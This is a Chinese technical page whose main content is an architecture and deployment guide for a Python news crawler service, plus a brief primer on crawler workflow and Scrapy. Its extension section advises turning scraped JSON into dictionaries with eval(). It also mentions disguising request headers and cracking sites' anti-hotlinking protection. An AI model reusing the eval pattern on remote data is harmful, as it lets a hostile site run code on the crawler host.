分类

类型:
不限 游戏开发 计算机程序开发 Android开发 网站开发 笔记总结 其他
评分:
不限 10 9 8 7 6 5 4 3 2 1
原创:
不限
年份:
不限 2018 2019

文章列表

  • 基于Python实现的新闻网络爬虫程序

    1、简介1.1 引用术语与缩写解释


    缩写、术语
    解 释




    Python
    一种简洁而强大的解释型脚本语言


    pyodbc
    Python下的ODBC数据库访问组件


    SQLAlchemy
    Python下的ORM数据访问组件


    pywin32
    Python下的Win32接口访问组件


    requests
    Python下的Web访问组件


    Pillow
    Python下的图像处理组件


    解释型语言
    无需编译源码可敏捷部署并执行的语言


    IOC
    控制反转,运行时可由数据反向干涉程序执行逻辑的设计模式


    RegularExpression
    正则表达式,查找和替换文本模式的简洁而灵活的表示法


    XML
    扩展标记语言,用于配置及数据交互



    1.2 概要本文档针对以下三个方面进行了详细说明:

    架构说明,对新闻网络爬虫的核心架构进行描述,供开发人员在开发或升级应用时参考
    部署说明,对新闻网络爬虫的部署步骤进行描述,供部署人员进行应用部署或升级时参考
    扩展说明,对新闻网络爬虫的扩展模式进行描述,供开发人员扩展爬虫功能时参考

    1.3 应用设计目标
    易于扩展
    易用
    易于维护

    为了达成这些设计目标我们采用了以下设计机制:

    易于扩展

    使用解释型、面向对象的Python语言实现程序逻辑:解释型语言易于扩展部署,结合抓取模块的IOC机制,更新升级时无需停机;面向对象易于代码复用,创建新爬虫模块时仅需少量重载代码修改控制流程IOC化,利用XML配置文件,可动态增减爬虫任务、控制爬虫任务启动条件、更改爬虫规则以及爬虫逻辑
    易用

    服务化,爬虫任务被封装为Windows 服务,可便捷地启动与停止,于后台执行长期运行
    易于维护

    编程语言简洁,缩进式风格减少了语法性代码,动态数据类型减少了声明性代码,函数式编程特性减少了重复性函数代码,友好而功能强大的标准库与外部组件也减少逻辑复杂性数据访问层模型化:使用SQLAlchemy组件,对数据访问进行对象化建模,屏蔽数据访问细节,如SQL,数据模型易于维护

    2、架构说明新闻网络爬虫程序主题为一系列python脚本,通过文件夹进行模块隔离,基于命名约定进行动态逻辑加载,根目录为ArticleSpider。
    整体框架如下:


    SpiderService.py:服务入口模块,用以处理Windows服务Article Spider Service的安装、卸载、启动、停止与重启
    SpiderTask.py:任务管理模块,负责加载控制规则配置、安排爬虫任务计划、组合爬虫任务子逻辑
    ArticleStorer.py:文章转存模块,包含数据库访问、图片转存与切图、队列消息发送功能
    RuleReader.py:规则读取模块,用于读取爬虫规则,辅助IOC机制
    Spider:爬虫逻辑模块,核心模块群,可根据需要添加新爬虫模板,爬虫模板可继承,基模块为Spider.py,多个相似爬虫可根据规则设置复用同一个爬虫模板
    Model:数据模型模块,维护爬虫相关ORM数据模型,由上下文管理层、数据模型层与事务逻辑层组成
    Message:消息处理模块,主要负责封装与发送队列消息
    SpiderRule.xml:爬虫规则配置,XML格式元数据
    Temp:缓存目录,用以缓存转存完成前的中间文件,如下载图片
    Log:日志目录,用以保存日志,采用循环日志模式
    ServiceCommand.txt:服务入口命令,用于参考的爬虫服务基本人机交互命令
    SpiderTest.py:爬虫测试模块,用于测试的相关脚本

    2.1 模块说明2.1.1 服务入口层 SpiderService.py2.1.1.1 SpiderService
    win32serviceutil.ServiceFramework:服务基类,引入自pywin32组件,用以将Python程序封装位Windows服务
    SvcDoRun:服务启动入口,重载基类方法,用以开启SpiderTask任务管理线程,阻塞等待任务结束事件
    SvcStop:服务终止入口,重载基类方法,用以终止SpiderTask任务管理线程,发起任务结束事件

    2.1.1.2 ServiceCommand
    python SpiderService.py install:爬虫服务安装,必须指令,用以注册Windows服务,安装成功后可直接于Windows服务管理器中进行服务启动、停止等管理操作
    python SpiderService.py install —startup auto:自启动爬虫服务安装
    python SpiderService.py start:启动爬虫服务,服务安装后有效
    python SpiderService.py restart:重启爬虫服务,服务启动后有效
    python SpiderService.py stop:停止爬虫服务,服务启动后有效
    python SpiderService.py remove:删除/卸载爬虫服务,服务安装后有效

    2.1.2 任务管理层 SpiderTask.py2.1.2.1 SpiderTask
    threading.Thread:线程管理基类,引入自python标准库,用以将主任务进行线程化封装
    __init__:初始化方法,进行一系列任务初始化操作,如线程初始化、日志初始化、调度初始化、存储初始化等操作
    ScheduleTask:任务调度方法,读取爬虫规则,根据设置生成爬虫调度计划
    RunSpiderByRule:爬虫驱动方法,按照给定规则,驱动对应爬虫开启任务,核心步骤为,爬虫选用—文章抓取—图片转存—文章入库—后续处理(如压图与消息通知)
    run:任务子线程启动入口,重载基类方法,以日为周期进行调度-执行-休眠循环,苏醒后调度爬虫任务—按照调度计划处理任务(执行或等待)—计划完成后休眠至下一周期苏醒
    StopTask:任务终止方法,当前任务完成后终止任务计划,非强行中断任务子线程,若要强行中断,可直接结束主线程,任务子线程将自动中断

    2.1.3 规则读取层 RuleReader.py2.1.3.1 RuleReader
    __init__:初始化方法,确定规则读取模式(目前仅支持XML模式),模式有效时进行初始规则读取
    FreshRules:规则刷新方法,读取最新规则,默认以XML格式读取规则,若要采用其他方法(如数据库读取、Json接口读取等),可继承该基类后进行重载扩展

    2.1.3.2 GetRuleFromNode功能性函数,从XML节点中提取爬虫规则字典,属性及简单子节点直接提取入本级字典,复杂子节点递归提取为子级字典后加入本级字典。
    2.1.3.3 PrintNode调试用函数,用于打印XML节点数据,采用前序遍历法。
    2.1.3.4 SpiderRule爬虫规则字典(dict类型),存储爬虫规则参数,以福州旅游网爬虫规则为例:

    name:规则名称,通常以爬取来源站命名,如福州旅游网
    sourceId: 来源标识,参照文章来源枚举值,默认为0
    rule:子级明细规则字典
    url:来源Url,明细规则,如:http://lyj.fuzhou.gov.cn/lyjzwgk/lydt/index.htm
    reAbstract:文章摘要正则表达式,明细规则,扫描文章清单时使用,如:
    <li>.+?<span>\[(.+?)\].+?href="(.+?)".+?>(.+?)</a>.+?</li>
    reArticle:文章正文正则表达式,明细规则,扫描文章正文时使用,如:
    <div class="content-boxtext">(.+?)</div>\s*<div class="content-boxbottom">
    reImage:文章图片正则表达式,明细规则,扫描文章图片时使用,如:
    <IMG.+?src="(.+?)".+?/>
    module:爬虫模块名,明细规则,反射加载的爬虫模块名与类名,如FuZhouSpider
    regionId:目的地标识,明细规则,爬虫目的地对应的乐途目的地字典标识值,如130
    spiderName:爬虫编辑ID,明细规则,利用爬虫对内发布文章的虚拟编辑用户名,如jishutest
    isValid:有效标志,明细规则,启用该规则时为1,停用为0,禁用为-1
    minPage:最小页码,明细规则,分页爬取时第一页的页码参数,默认为-1(不分页)
    maxPage:最大页码,明细规则,分页爬取时最后页的页码参数,默认为-1(不分页)
    wakeTime:子级苏醒时间字典,明细规则,可包含多个时间点
    timePotX:时间点,X代表时间点标识,多个时间点标识不可相同,时、分、秒必须

    2.1.4 文章转存层 ArticleStorer.py2.1.4.1 ArticleStorer文章转存器,组织下层通信、数据模块进行数据交互,如数据库访问、队列消息发送、文件上传、远程接口调用等。

    __init__:初始化方法,设定图片转存API(imageApi)、数据库连接(dbConStr)、消息队列(msmqPath)及压图API(picCutApi)等通信参数,并进行初始化
    DumpImage:图片转存方法,转存文章正文中已缓存的的下载图片至图片转存API,同时关联转存图片路径
    DumpArticle:文章入库方法,将已经完成图片转存并替换Url的文章正文按照正文页入库,同时记录爬取关联信息
    NewArticleCheck:新文章检查方法,比对爬取关联信息,确定是否为新文章或可更新文章
    SendSuccessMessage:后期处理消息信息发送方法,向消息队列发送信息,通知后续处理程序处理刚刚发布或变更的新正文页
    CutImaages:正文页压图方法,调用压图接口对指定正文页正文内的图片进行压图处理
    ArticleRepublish:正文页重发布方法,将正文页重新发布,即向消息队连续发送一条删除发布请求与新发布请求

    2.1.5 文章爬虫层 Spider该层为目录,包含多个XSpider.py模块,其中Spider.py为基础模块,其他模块如FuZhouSpider.py为基于Spider.py模块的扩展的模板化模块。
    2.1.5.1 Spider爬虫基类,封装爬虫所需的基本操作,可由子类继承复用(如规则加载、HTML下载、图片下载等共同操作)或重载(文章抓取、图片替换等区别操作)。

    ReadRule:规则加载方法,可继承复用,可嵌套重载,加载爬虫规则字典内参数信息,并对爬虫伪装(Http Header)、数据缓存、数据清理(Css清理、Herf清理等)等参数进行设置
    CatchArticles:文章抓取方法,不可直接复用,必须替换重载,为各爬虫模板的独有逻辑,目前主要有页面抓取及异步JS抓取两种基本模式
    DownLoadHtml:Html源码下载方法,可继承复用,可重载(如进行拟人化访问伪装) ,用于获取抓取页面的相关Html源码,如文章列表页、文章正文页以及异步加载API
    DownLoadImage:图片下载方法,可继承复用,可重载(如应对图片防盗链机制),用于下载文章正文中的图片链接至缓存路径,同时进行图片格式标准化
    ReplaceArticleImages:缓存文章正文图片替换方法,可继承复用,可重载(如对转存图片标签添加属性),用于将抓取文章正文中原来的图片链接替换为转存后的图片链接
    CacheArticle:文章信息缓存方法,可继承复用,可重载(如定制文章特有属性信息),用于组装文章属性信息并加入缓存等待下一步处理
    ClearArticles:文章正文清洗方法,可继承复用,可重载(如添加JS清晰),用于清洗文章正文中的无效信息,如当前已支持的CSS、Herf、空白字符及样式清洗
    ClearTempImages:缓存图片清理方法,可继承复用,可重载(如添加缓存备份机制),用于清理缓存的已下载图片

    2.1.5.2 Functions文章爬虫层中的相关功能性函数。

    ReplaceImage:图像Url替换函数,可将文章正文中的正则匹配项(原始图片链接)替换为转存图片链接
    ClearExternalCss:CSS清理函数,可将文章正文中的正则匹配项(Css类)清空
    ClearExternalHerf:Herf清理函数,可将文章正文中的正则匹配项(超链接)去链接处理
    ClearExternalBlank:空白字符清理函数,可将文章正文中的正则匹配项(空白字符)去除
    ClearExternalStyle:样式清理函数,可将文章正文中的正则匹配项(style样式)去除
    ComposeUrl:相对Url组装函数,将页面中的相对Url结合页面Url组装为绝对Url
    ConvertImageToJpg:图片格式标准化函数,将不同格式的图片(如PNG、BMP)同意转化为JPG格式

    2.1.5.3 XSpider各种爬虫模板类,通常直接继承自Spider,但也可继承其他XSpider,区别主要在于CatchArticles方法的重载实现,目前主要分为两种模式。

    页面爬虫:CatchArticles方法直接解析页面源码,根据制定的编码格式,提取文章关键信息,由扫描列表页的文章摘要、扫描正文页的正文、扫描正文域的图片三步组成,典型模板如FuZhouSpider。
    Json Api爬虫:CatchArticles方法获取Json API响应,将结果反序列化为字典对象,提取文章关键信息,由提取列表API的文章摘要、提取正文API的正文与图片两步组成。,典型模板如FuZhouTourSpider。

    其他类型的模板可根据实际情况自行扩展,如XML API、SOAP API等。
    2.1.6 数据模型层 Model该层为目录,包含多个SpiderContext.py、SpiderEntity.py与SpiderData.py三个模块。

    SpiderContext.py:数据上下文模块,负责数据库连接、数据模型初始化、会话管理
    SpiderEntity.py:数据模型模块,负责数据实体对象模型映射,即表与类的映射
    SpiderData.py:数据逻辑模块,负责组织会话内的数据访问逻辑,也是对外接口

    2.1.6.1 SpiderDataHelper爬虫数据访问类,属于数据逻辑模块。

    SaveArticle:文章入库方法,将爬去并完成过滤的文章信息写入数据库,若是新文章,文章信息入库同时写入文章导入信息,若不是新文章(导入信息已存在),仅进行修改
    NewArticleCheck:新文章检查方法,用于防止文章重复导入,对比文章导入信息,若不匹配(根据文章Url与发布日期),则认定为新文章,否则认定为重复文章
    GetArticlesLikeDampSquibs:未成功发布文章扫面方法,用于查询出已发布但未成功的文章,返回必要属性信息,如正文页ID,目的地ID等

    2.1.6.2 ModelMapper实体关系映射(类表映射)函数,属于数据模型模块,将指定的实体类与数据表绑定,当前已映射对如下:

    Cms_Information—Cms_Information:正文页信息类与正文页信息表
    Cms_Information_Inported—Cms_Information_Inported:正文页导入信息类与正文页导入信息表
    Cms_InformationRegion—Cms_InformationRegion:正文页目的地关联类与正文页目的地关联表

    2.1.6.3 ModelContext数据模型上下文类,属于数据上下文模块,管理数据连接上下文。

    __init__:上下文初始化方法,注册数据库连接、初始化数据模型元数据并建立会话生成器
    Session:会话入口,申请一个数据库会话

    2.1.6.4 Session_Scope数据会话域函数,属于数据上下文模块,负责隔离会话事务的生命周期,具有contextmanager特性,即以迭代生成器的方式隔离会话事务逻辑无关的细节,确保成功自动提交、失败自动回滚并且结束自动释放。
    2.1.7 消息模型层 Message该层为目录,包含SpiderMessageQueue.py模块,负责格式化消息,并与消息队列通信。
    2.1.7.1 Message消息类,负责消息格式化,将消息转化为制定输出格式。

    __init__:初始化方法,将消息字典初始化为XML结构,同时添加必要属性
    ToFormatString:序列化方法,将XML结构的消息转化为字符串,同时添加必要说明性内容

    2.1.7.2 ToXmlElement功能性函数,将字典转化为XML结点格式,简单键值对直接转化为子节点,复杂键值对进行嵌套转化,值数组转化为多个子节点,值为字典则进行递归转化。
    2.1.7.3 MessageQueue消息队列访问类,封装消息队列接口。

    __init__:初始化方法,组装MSMQ队列基本信息,包含主机名与队列路径
    SendMessage:消息发送方法,根据给定MSMQ队列基本信息,创建会话并发送消息

    2.1.7.4 Queue_Scope队列会话域函数,负责隔离队列会话的生命周期,具有contextmanager特性,即以迭代生成器的方式隔离队列会话逻辑无关的细节,确保会话结束自动释放。
    3、部署说明3.1 运行环境
    PC配置

    2G以上内存
    操作系统

    Windows XP Professional 2002 Service Pack 3+
    相关工具

    Python 3.3 Pyodbc 3.0.7 SQLAlchemy 0.9.7pywin32 219requests 2.4.1Miscrosoft Message QueueMiscrosoft SQL Server 2005SQL Server Native Client 10.0

    3.2 资源目录
    源码路径,192.168.80.157主机 E:\shuaxin\ArticleSpider。
    工具路径:192.168.80.157主机 E:\tools\爬虫项目部署包

    3.3 部署步骤3.3.1 Python确认部署主机python-3.x版本已安装,建议使用python-3.3稳定版本。
    若未安装,执行爬虫项目部署包内python-3.3.5.1395976247.msi文件,以安装python虚拟机,安装目录可设置为E:\tools\Python33。
    确保系统环境路径(高级系统设置-环境变量)含有python安装目录,确保路径内可引用python.exe。
    3.3.2 MSMQ确保Miscrosoft Message Queue已开启,且存在消息队列路径\private$\queuepathnews,且该队列对EveryOne开放消息发送权限,若该队列不存在,则依赖部署条件不满足(后续处理程序未部署),不可进行应用部署。
    3.3.3 DataSource Driver确保主机ODBC数据源中已安装SQL Server Native Client 10.0驱动程序(版本可以更高,但ArticleStorer.py中dbConStr也应对应修改)已正确安装。
    若未安装,根据系统环境,选择执行爬虫项目部署包内sqlncli_X86.msi或sqlncli_X64.msi,以安装数据源驱动。
    3.3.4 Pyodbc确保python安装目录(如E:\tools\Python33)下,存在以下相对路径的目录Lib\site-packages\pyodbc…,即Pyodbc已安装。
    若未安装,根据系统环境,执行爬虫项目部署包内pyodbc-3.0.7.win32-py3.3.exe,以安装Python ODBC组件。
    3.3.5 Pywin32确保python安装目录(如E:\tools\Python33)下,存在以下相对路径的目录Lib\site-packages\pythonwin,即Pywin32已安装。
    若未安装,根据系统环境,执行爬虫项目部署包内pywin32-219.win32-py3.3.exe,以安装Python Win32组件。
    3.3.6 Pillow确保python安装目录(如E:\tools\Python33)下,存在以下相对路径的目录Lib\site-packages\PIL,即Pillow已安装。
    若未安装,根据系统环境,执行爬虫项目部署包内Pillow-2.6.0.win32-py3.3.exe,以安装Python Image Library组件。
    3.3.7 Requests确保python安装目录(如E:\tools\Python33)下,存在以下相对路径的目录Lib\site-packages\requests,即Requests已安装。
    若未安装,启动cmd,切换至爬虫项目部署包下requests-2.4.1目录,执行命令python setup.py install,以安装Python Requests组件。
    3.3.8 SQLAlchemy确保python安装目录(如E:\tools\Python33)下,存在以下相对路径的目录Lib\site-packages\sqlalchemy,即SQLAlchemy已安装。
    若未安装,启动cmd,切换至爬虫项目部署包下SQLAlchemy-0.9.7目录,执行命令python setup.py install,以安装Python SQLAlchemy组件。
    3.3.9 SQL Server确保81主机上的lotour库,已存在Cms_Information_Inported表。
    若不存在,执行初始化脚本:
    CREATE TABLE [dbo].[Cms_Information_Inported] ( [SourceUrl] VARCHAR (256) NOT NULL, [Status] SMALLINT NOT NULL, [InformationId] INT NOT NULL, [SourceTime] DATETIME NOT NULL, [RegionId] INT NOT NULL, [SourceName] VARCHAR(50) NULL, PRIMARY KEY CLUSTERED ([SourceUrl] ASC));CREATE NONCLUSTERED INDEX [IX_Cms_Information_Inported_InformationId]ON [dbo].[Cms_Information_Inported]([InformationId] ASC);
    3.3.10 Spider Service检查服务管理程序中,是否存在Article Spider Service服务,即爬虫服务是否已安装。若未安装,选定部署路径,将ArticleSpider目录移动至对应路径,启动cmd,切换至部署目录,执行命令python SpiderService.py install,以安装爬虫服务。
    应用扩展升级时无须重新安装,除非变更SpiderTask.py,亦无须停止Article Spider Service服务,直接添加或替换对应源文件即可(次日生效),但重启服务可确保变更立即生效。
    进入服务管理程序,启动Article Spider Service,若启动成功,整个部署流程完成。
    3.4 配置参数3.4.1 图片转存APIArticleStorer.py中的imageApi参数,指向CMS正文页的图片上传接口,默认为’http:// localhost:8037/WS/newsUploadImage.ashx’。
    3.4.2 数据库连接ArticleStorer.py中的dbConStr参数,对应Lotour库的数据连接字符串,默认为:
    mssql+pyodbc:// testUser:test@localhost:1433/news?driver=SQL Server Native Client 10.0其中mssql表示DBMS为Microsoft Sql Server,pyodbc表示驱动模式为Python ODBC,testUser为数据库用户名,test为用户密码,@至?间区域表示数据库路径,?后区域表示数据库驱动名称。
    3.4.3 消息队列ArticleStorer.py中的msmqPath参数,指向CMS正文页的发布消息队列,默认为:\PRIVATE$\queuepathnews。
    3.4.4 压图APIArticleStorer.py中的picCutApi参数,指向CMS正文页的压图接口,默认为: http://cms.lotour.com:8343/WS/newsCutImage.ashx 。
    3.4.5 图片缓存路径Spider.py中的temp参数,指向文章爬取过程中下载中间图片的缓存目录,默认为相对路径’\temp\‘。
    3.4.6 日志设置SpiderTask.py中的logging.basicConfig函数的相关入口参数,作为爬虫日志设置,可参考python官方文档中的logging部分,当前使用循环日志,部分参数如下:

    filename,日志文件名,默认使用相对路径’\Log\spider.log’
    mode,文件使用模式,默认使用添加模式,即’a’
    maxBytes,循环日志块大小,默认为2M
    backupCount,循环日志块数量,默认为8
    encoding,日志编码,默认为’utf-8’
    format,日志信息格式,用于将Trace信息与Message信息格式化,默认为:
    %(asctime)s %(levelname)-10s[%(filename)s:%(lineno)d(%(funcName)s)] %(message)slevel,日志记录级别,默认为DEBUG,线上部署推荐使用WARN或ERROR

    3.4.7 爬虫规则路径SpiderTask.py中的rulePath参数,默认为XML文件路径,默认值为相对路径’\SpiderRule.xml’。
    4、扩展说明4.1 扩展范围网络爬虫服务扩展分为三个级别,分别为规则扩展、模板扩展以及功能扩展,以应对不同的扩展需求。

    规则扩展:改动规则文件,即SpiderRule.xml,用于爬虫规则微调,以及添加仅需复用爬虫模板的新爬虫(如同站新频道,或同网站架构)
    模板扩展:新增爬虫实现,即添加XSpider.py,继承Spider基类,重载实现特有逻辑(如文章抓取逻辑),必要时可单独添加独立功能,如防盗链破解功能
    功能扩展:变更或重组爬虫功能,任何文件都可能改动,请在理解架构的前提下进行,如将规则元数据由XML元数据变更为可维护更大规模元数据的数据库元数据表,或者将爬虫服务重组以添加文章智能过滤层

    4.2 扩展示例4.2.1 规则扩展规则扩展仅需修改SpiderRule.xml文件,以福州旅游网爬虫为例:
    <rule name="福州旅游网" sourceId="0"><url>http://lyj.fuzhou.gov.cn/lyjzwgk/lydt/index.htm</url><reAbstract><li>.+?<span>\[(.+?)\].+?href="(.+?)".+?>(.+?)</a>.+?</li></reAbstract> <reArticle><div class="content-boxtext">(.+?)</div>\s*<div class="content-boxbottom"></reArticle> <reImage><IMG.+?src="(.+?)".+?/></reImage> <module>FuZhouSpider</module> <regionId>130</regionId> <spiderName></spiderName> <isValid>1</isValid> <minPage>-1</minPage> <maxPage>-1</maxPage> <wakeTime> <timePot0>08:00:00</timePot0> <timePot1>13:00:00</timePot1> </wakeTime></rule>
    一个Rule节点便是一项爬虫规则,结点属性及子节点含义参照3.1.3.4。
    每增加一个爬虫任务,则需要添加对应的Rule节点,添加流程如下:
    4.2.1.1 确定文章来源
    name:根据抓取需求,将name设置为[站名][-频道名]
    sourceId:进入CMS媒体管理模块,检查媒体来源,若不存在现有对应媒体来源,进行添加操作,将sourceId设置为对应媒体来源ID,若不指定媒体来源,忽略sourceId属性或置0
    url:观察抓取url对应源代码,若页面含有文章列表,即可按照网页抓取模式处理,url可直接设置为页面url;若列表内容为异步加载(可参考福州旅游资讯网),此时应分析源代码,找到对应的文章列表API,将url设置为对应API;若url中含有动态参数或分页参数,可使用{n}参数顺序替代(从{0}开始),在抓取逻辑中填入参数
    minPage & maxPage:若需求抓取页面不只一页,则将minPage置为起始页,maxPage置为终止页,同时定制扩展功能,利用参数化的url在抓取逻辑中进行处理
    regionId:抓取源应指定目的地,通常以乐途目的地字典中的ID值配置regionId即可,若有特殊情况(如混合目的地抓取),应在抓取逻辑中提取指定

    4.2.1.2 确定正则表达式
    reAbstract:若文章摘要为页面抓取模式,应分析页面源码,抽象出提取文章摘要信息的正则表达式,其中文章链接必须提取,文章标题与发布时间则是能提取尽量提取,将正则表达式进行html转义处理后置入reAbstract(参考在线转义工具如http://www.cnblogs.com/relucent/p/3314831.html )。若文章摘要为异步加载模式,reAbstract可按照抓取逻辑定制填写,正则表达式不必须,可空置或置为其他数据,如参数化文章正文API
    reArticle:若文章正文为页面抓取模式,应分析页面源码,抽象出提取文章正文信息的正则表达式,其中文章正文必须提取,文章标题与发布时间若在摘要中未提取也必须提取(无法提取时,应在抓取逻辑中另行处理)。若文章正文为异步加载模式,reArticle可按照抓取逻辑定制填写,正则表达式不必须,可空置或置为其他数据,如参数化图片API
    reImage:若图片隐藏在文章正文中,应分析正文代码,抽象出提取图片的正则表达式,图片链接必须提取。若图片信息独立于正文,reImage可按照抓取逻辑定制填写,正则表达式不必须,可空置或置为其他数据,如防盗链破解参数。

    4.2.1.3 确定爬虫模板module:不同规则的爬虫抓取逻辑可能各不相同,也可能存在复用,因此可在规则中指定爬虫模板,若无可复用模板,也可创建新爬虫模板,然后将module置为模板名称;模板名称格式通常为XSpider,不同模板名称不可重复,模板定义可参考模板扩展示例。
    4.2.1.4 确定任务计划
    isValid:爬虫规则可自由预设,但只有将isValid被置为1的规则,在爬虫任务计划扫描时进入任务队列,isValid置为0时表示停用,置为-1时表示禁用,其他取值可在功能扩展中确定
    spiderName:爬虫抓取文章后会发布正文页,默认会以匿名的乐途小编身份发表,此时spiderName置空,若要指定发布人,应将spiderName置为特定编辑者的CMS用户名
    wakeTime:爬虫任务若要执行,至少还需要一个执行时间,爬虫将在指定时间之后被唤醒,执行任务,此时应在wakeTime中添加timePotX子节点,X用于区别多个不同时间点(如0、1、2),意味着统一爬虫可在一日之内的不同时间启动多次

    4.2.2 模板扩展模板扩展需添加XSpider.py文件,在其中实现继承自Spider或其他模板Spider的XSpider类,其中CatchArticles必须重载以实现定制化的抓取逻辑,以福州福州旅游网爬虫为例:
    class FuZhouSpider(Spider.Spider): """福州旅游网 Spider""" def __init__(self): Spider.Spider.__init__(self) def CatchArticles(self): recAbstract = re.compile(self.reAbstract, re.DOTALL) recArticle = re.compile(self.reArticle, re.DOTALL) recImage = re.compile(self.reImage, re.DOTALL) html = self.DownLoadHtml(self.url, '文章列表页{0}访问失败,异常信息为:{1}') if html == None: return self.articles for x in recAbstract.findall(html): article = dict( time = datetime.datetime.strptime(x[0],'%Y-%m-%d'), # url = self.url[0:self.url.rfind('/')] + x[1][1:], url = Spider.ComposeUrl(self.url, x[1]), title = x[2] ) html = self.DownLoadHtml(article['url'], '文章页{0}访问失败,异常信息为:{1}') if html == None: continue content = None images = [] imageCount = 0 for y in recArticle.findall(html): content = y for z in recImage.findall(content): imageCount += 1 # imageUrl = article['url'][0:article['url'].rfind('/')] + z[1:] imageUrl = Spider.ComposeUrl(article['url'], z) image = self.DownLoadImage(imageUrl, '图片{0}提取失败,异常信息为:{1}') if image == None: continue images.append(image) if not content \ or imageCount != len(images): continue self.CacheArticle(article, content, images, '成功自{0}提取文章') return self.articles
    由于采用继承机制,__init__方法中应调用父级__init__方法,CatchArticles方法则可利用基类模板中的方法、字段及函数,结合自有方法、字段及函数扩展抓取逻辑,扩展流程如下:
    4.2.2.1 处理继承要素选定基类
    通常使用Spider.Spider,其中前一个Spider为模块名,对应Spider.py,后一个Spider为类名,如需更细粒度的模板复用,如定制页面抓取模板或异步抓取模板,可继承对应二级模板。
    选定重载方法
    继承模板通常会复用基类模板的大部分方法,但作为区别,必定有自身的特定逻辑,比如重载CatchArticles方法用以实现不同爬虫抓取逻辑(该方法在Spider中为虚方法,继承Spider后必须实现);
    除CatchArticles方法外,其他基类方法也存在扩展空间,可参考3.1.5.1中的方法说明进行重载。
    添加自有元素
    通常情况下,基类元素已经足够使用,但在一些特殊场景,可能需要添加一些新元素,比如文章过滤函数,图片抗反盗链下载之类的功能型函数,然后在重载的方法中使用。
    4.2.2.2 组织抓取逻辑抓取源加载
    根据爬虫规则中定义的url或者Api,从抓取源下载数据;
    页面抓取时,需指定指定抓取页面的编码格式,默认为utf-8编码,但部分页面会使用gbk或者gb2312编码;
    异步抓取或多页抓取时,API通常需要一些需要二次指定的参数,此时应将参数赋值再发起请求;
    抓取源通依照抓取模式存在区别,页面抓取源通常由三段式的文章列表页、文章正文页与文章正文组成,异步抓取源则随API的定义不同而不同,混合抓取则结合了前两者。
    基类抓取相关方法包括DownLoadHtml与DownLoadImage,DownLoadHtml用于加载Html源码或者Api响应数据,DownLoadImage则用于下载图片等文件至缓存路径。
    数据解析与提取
    抓取数据最终需转化为文章基本信息,用于后期处理,其中必要组成部分包含文章摘要信息(文章源链接、标题及发布日期等)、文章正文以及图片清单(图片链接及缓存路径等);
    页面抓取数据需要使用正则表达式解析,对应正则表达式由基类从爬虫规则读取,由reAbstract(文章摘要规则)、reArticle(文章正文规则)以及reImage(图片规则)组成,分别可提取信息至article(文章基本信息)、content(文章正文)以及images(图片列表);
    异步抓取通常不需要使用正则表达式,因为抓取数据通常为结构化数据,可以直接反序列化为友好的数据结构,如Json数据,可先进行清洗(将null替换为Python中的None),然后直接使用eval函数转化为数据字典;
    reAbstract、reArticle及reImage在异步抓取或混合抓取中的存储涵义开放,可配合模板自行定义,如API,筛选规则等,只需要保证最终可正确提取文章基本信息;
    提取文章发布时间时,应注意时间数据的表示形式,指定转化格式(如%Y-%m-%d可匹配2014-10-1),并注意从摘要数据和从正文数据提取的区别;
    正则解析函数主要使用findall进行全文搜索,注意该函数匹配结果为多项时将返回匹配结果迭代器,为单项时将直接返回匹配结果;
    信息提取完成后,应调用基类的CacheArticle方法,将article、content与images组装并缓存,等待后起批量处理。
    4.2.2.3 文章后期处理通常情况下图像后期处理对模板扩展透明,但其中的部分环节可进行独立定制,文章后期处理的流程为:
    有效性检查—图片转存—文章正文图片链接替换—正文清洗—文章入库—文章图片压图—发布。
    其中模板扩展可参与环节主要为文章正文图片链接替换(ReplaceArticleImages)与正文清洗(ClearArticles)环节。
    ReplaceArticleImages扩展示例如更改img标签的替换形式,如加入alt等属性。
    ClearArticles扩展示例如增加过滤规则,如JS过滤。
    4.2.3 功能扩展功能扩展自由度较大,但通常情况下是对爬虫服务任务流程进行重组。
    爬虫服务主流程为:
    扫描爬虫任务—执行爬虫任务—休眠,其功能扩展主要集中在任务管理层与规则读取层。
    特定规则的执行流程为:
    加载任务—文章抓取—有效性检查—图片转存—文章正文图片链接替换—正文清洗—文章入库—文章图片压图—发布,其功能扩展主要集中在文章转存层、数据模型层以及消息模型层。
    功能扩展的方式主要有两种,加入中间层以添加中间步骤以及重载替换特定步骤,对应的可扩展空间请参阅架构说明部分。
    1 回答 2019-05-02 11:18:20
  • 网络爬虫技术原理介绍

    什么是爬虫?网络爬虫是一种按照一定的规则,自动的爬取万维网信息的程序或者脚本。网络爬虫按照系统结构和实现技术,大致分为通用爬虫,聚焦爬虫,增量式爬虫,深层网络爬虫。但是实际应用中一般都是几种爬虫技术相结合实现的。
    搜索引擎其实是一种大型的复杂的网络爬虫属于通用爬虫的范畴。专业性质的搜索引擎则是属于聚焦爬虫的范畴。增量式爬虫则是对已下载的网页采取增量式更新和只爬取新产生的或者已经发生变化的网页的爬虫。Web网页按照存在的方式可以分为表层网页和深层网页,表层网页通常是指传统引擎可以索引的页面,以超链接可以到达的静态网页为主构成的Web页面;深层网络是那些大部分内容不能通过静态链接获取的、隐藏在搜索表单后的,只有用户提交一些关键词才能获取的Web页面。爬取深层网络页面的爬虫就属于深层网络爬虫的范畴。
    爬虫的工作流程

    首先选取一部分或者一个精心挑选的中字URL
    将这些URL放入带抓取的URL队列
    从待抓取的URL队列中读取待抓取的URL,解析DNS,并且得到主机的IP,并将URL对应的网页下载下来,存储到已下载的网页数据中。并且将这些URL放进已抓取的URL队列中
    分析已抓取URL队列中URL,从已下载的网页数据中分析出其他的URL,并和已抓取的URL进行去重处理,最后将去重后的URL放入待抓取URL队列,从而进入下一个循环

    爬虫的python实现框架Scrapy爬虫的python实现的库有很多,主要有urllib,httplib/urllib,requests.这里主要讲一下Scrapy框架。
    Scrapy使用python写的Crawler Framwork,简单轻巧,并且非常方便。Scrapy使用的是Twisted异步网络库来处理网络通信,架构清晰,并且包含了各种中间件接口,可以灵活的完成各种需求。


    引擎打开一个网站,找到处理改网站的spider并向该spider请求第一个要爬取的URL
    引擎从Spider中获取的第一个要爬取的URL并通过调度器(Scheduler)以Requests进行调度
    引擎向调度器(Scheduler)请求下一个要爬取的URL
    调度器(Scheduler)返回下一个要爬取的URL给引擎(Scrapy Engine),引擎将URL通过下载器中间件(Downloader Middleware)转发给下载器
    一旦页面下载完毕,下载器生成一个该页面的Response,并将其通过下载器中间件转发给引擎
    引擎从下载器中间件接收到Response并通过spider中间件发送给spider处理
    Spider处理Response并返回爬取到的Item和新的Request给引擎
    引擎将爬取到的item给Item Pipeline,将Request给调度器
    从第2步开始重复直到调度器中没有Request,引擎关闭该网站
    6 回答 2019-04-05 15:45:45
  • MUI H5文档笔记
